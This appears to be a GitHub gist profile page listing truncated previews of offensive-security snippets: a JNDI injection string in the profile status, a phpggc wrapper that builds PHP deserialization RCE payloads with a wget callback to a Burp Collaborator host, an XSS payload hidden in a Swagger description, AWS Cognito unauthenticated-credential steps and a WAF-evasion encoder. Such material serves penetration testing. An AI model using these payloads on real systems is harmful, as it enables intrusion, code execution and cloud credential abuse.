Skip to content

Instantly share code, notes, and snippets.

View incogbyte's full-sized avatar
:shipit:
./../../../../../${jndi:ldap://127.0.0.1#{{${hostName}.{lol}}}/{{random}}}

incogbyte incogbyte

:shipit:
./../../../../../${jndi:ldap://127.0.0.1#{{${hostName}.{lol}}}/{{random}}}
View GitHub Profile
@incogbyte
incogbyte / words_from_subs.py
Created June 7, 2023 12:24
extract words from subdomains to make a wordlist
import re
import sys
def extract_subdomains(filename):
subdomains = set()
pattern = r"(?:https?://)?(?:www\.)?([^.]+\.[^.]+)"
with open(filename, 'r') as file:
for line in file:
match = re.search(pattern, line)
@incogbyte
incogbyte / phpggc_wrapper.sh
Created June 15, 2023 13:31
generate gadget chains php
#!/bin/bash
# Git clone this tool https://github.com/ambionics/phpggc
# phpggc wrapper that automatically generates payloads for RCE gadgets
function="system"
command="wget http://your.burpcollaborator.net/?"
# modify the options below depending on your use case
options="-a -b -u -f"
swagger: '2.0'
info:
title: Classic API Resource Documentation
description: |
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert('textarea') src=1>"></form>
version: production
basePath: /JSSResource/
produces:
- application/xml
@incogbyte
incogbyte / cognito.md
Created January 14, 2024 15:36
cognito exploitation
  1. Generate temporary AWS credentials using unauth user 1.1 - Get the poolId 2.1 - IdendityID 3.1 - Use the following command on aws-cli "example" $ aws cognito-identity get-id --identity-pool-id "us-east-1:f3400f4e-6a41-47db-834c-4af6d56e8359" --region "us-east-1"

    3.2 - Use the following command to get aws credentials $ aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:f3400f4e-6a41-47db-834c-4af6d56e8359" --region "us-east-1"

@incogbyte
incogbyte / encoding_waf_evasion.py
Created January 27, 2025 11:28
Python script that generates diff encodings techniques. Those techniques can be used to bypass HTTP WAF.
import urllib.parse
"""
By @incogbyte
Python script that generates diff encodings techniques.
Those techniques can be used to bypass HTTP WAF.
"""
def generate_encodings(input_string):
encodings = {}